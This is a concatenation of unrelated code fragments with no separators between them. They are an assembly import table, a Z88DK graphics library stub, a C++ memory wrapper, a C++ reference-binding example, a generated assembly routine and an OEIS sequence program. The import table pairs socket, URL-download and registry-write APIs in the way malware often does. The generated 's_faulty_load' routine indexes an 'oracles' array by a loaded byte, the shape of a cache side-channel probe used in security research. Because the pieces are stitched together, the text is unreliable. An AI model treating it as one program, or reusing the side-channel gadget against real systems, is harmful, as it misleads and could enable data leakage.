ImportFunction inet_ntoa ImportFunction WSAStartup ImportFunction WSACleanup ImportFunction recv ImportFunction send ImportFunction setsockopt ImportFunction inet_addr ImportFunction closesocket EndImport ImportDll Advapi32 ImportFunction RegOpenKeyA ImportFunction RegSetValueExA ImportFunction RegCloseKey EndImport EndImportTable ImportTable API_Imports_2k ImportDll Dnsapi ImportFunction DnsQuery_A ImportFunction DnsRecordListFree EndImport ImportDll Wininet ImportFunction InternetGetConnectedState ImportFunction InternetOpenA ImportFunction InternetCloseHandle ImportFunction InternetOpenUrlA ImportFunction InternetReadFile EndImport EndImportTable CODE_SIZE EQU ($ - offset main) End main
; ---------------------------------------------------------------- ; Z88DK INTERFACE LIBRARY FOR NIRVANA+ ENGINE - by Einar Saukas ; ; See "nirvana+.h" for further details ; ---------------------------------------------------------------- ; void NIRVANAM_fillT(unsigned char attr, unsigned char lin, unsigned char col) SECTION code_clib SECTION code_nirvanam PUBLIC _NIRVANAM_fillT EXTERN asm_NIRVANAM_fillT_di _NIRVANAM_fillT: ld hl,2 add hl,sp ld a,(hl) ; attr inc hl ld d,(hl) ; lin inc hl ld e,(hl) ; col jp asm_NIRVANAM_fillT_di
/* * CX - C++ framework for general purpose development * * https://github.com/draede/cx * * Copyright (C) 2014 - 2021 draede - draede [at] outlook [dot] com * * Released under the MIT License. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include "CX/precomp.hpp" #include "CX/Mem.hpp" #include "CX/C/Mem.h" #include "CX/Platform.hpp" namespace CX { Mem::Mem() { } Mem::~Mem() { } void *Mem::Alloc(Size cbSize) { return CX_MemAlloc(cbSize); } void *Mem::Realloc(void *pPtr, Size cbSize) { return CX_MemRealloc(pPtr, cbSize); } void Mem::Free(void *pPtr) { CX_MemFree(pPtr); } }//namespace CX
#include <iostream> // // 1. LValue (Copy by Value) // void f(int z) // { // std::cout << "LValue (Copy by Value): " << z << " " << &z << std::endl << std::endl; // } // 2. LValue Reference void f(int &z) { std::cout << "LValue Reference: " << z << " " << &z << std::endl; } // // 3. Const LValue Reference // void f(const int &z) // { // std::cout << "Const LValue Reference: " << z << " " << &z << std::endl; // } // // 4. RValue Reference // void f(int &&z) // { // std::cout << "RValue Reference: " << z << " " << &z << std::endl << std::endl; // } int main() { int a = 3; // LValue const int b = 3; // const LValue int &c = a; // LValue reference const int &d = 3; // const LValue reference std::cout << "a main: " << a << " " << &a << std::endl; f(a); // LValue => LValue Reference std::cout << "b main: " << b << " " << &b << std::endl; // f(b); // const LValue => Const LValue Reference: std::cout << "c main: " << c << " " << &c << std::endl; f(c); // LValue reference => LValue Reference // f(3); // RValue => Const LValue Reference return 0; }
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x174cc, %r9 nop nop cmp $56229, %rbx mov (%r9), %cx xor %rcx, %rcx lea addresses_WC_ht+0x15ecc, %rbx sub $16929, %rcx mov $0x6162636465666768, %rbp movq %rbp, %xmm6 vmovups %ymm6, (%rbx) nop nop nop nop sub %r15, %r15 lea addresses_D_ht+0x1d9cc, %rsi lea addresses_A_ht+0x7564, %rdi nop nop cmp $37602, %r11 mov $49, %rcx rep movsl cmp $36697, %r9 lea addresses_WT_ht+0xf1ec, %rsi lea addresses_WC_ht+0xcecc, %rdi clflush (%rsi) nop nop nop nop nop inc %rbp mov $9, %rcx rep movsb nop nop nop nop and %rbp, %rbp lea addresses_normal_ht+0x1c54c, %rsi lea addresses_normal_ht+0x46cc, %rdi nop nop nop nop sub $29772, %r11 mov $61, %rcx rep movsb nop sub %rbp, %rbp lea addresses_normal_ht+0x188b0, %rsi lea addresses_UC_ht+0x1a724, %rdi add $41776, %r11 mov $67, %rcx rep movsw nop nop nop nop nop add %r11, %r11 lea addresses_A_ht+0xd90c, %rsi lea addresses_WT_ht+0x1ca4c, %rdi nop nop nop dec %r15 mov $81, %rcx rep movsl dec %rbp lea addresses_WC_ht+0x350c, %rsi clflush (%rsi) nop xor $21987, %rbx mov $0x6162636465666768, %rcx movq %rcx, %xmm3 and $0xffffffffffffffc0, %rsi movaps %xmm3, (%rsi) nop and $53421, %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %rbp push %rbx push %rdi push %rdx push %rsi // Faulty Load lea addresses_WC+0x56cc, %rbp nop inc %rbx mov (%rbp), %r10d lea oracles, %rbx and $0xff, %r10 shlq $12, %r10 mov (%rbx,%r10,1), %r10 pop %rsi pop %rdx pop %rdi pop %rbx pop %rbp pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 4, 'same': False}} {'00': 6575} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A190277: Number of trails between opposite vertices in a triangle strip. ; Submitted by Christian Krause ; 1,1,2,4,9,23,62,174,497,1433,4150,12044,34989,101695,295642,859566,2499277,7267081,21130538,61441732,178655937,519483767,1510520966,4392195390,12771343961,37135696841 mov $1,1 lpb $0 sub $0,1 sub $1,$2 add $2,$1 add $4,$2 add $2,$3 add $3,$4 add $1,$3 add $4,$2 sub $2,$4 add $2,1 mul $3,2 add $3,$4 sub $4,$3 lpe mov $0,$2 add $0,1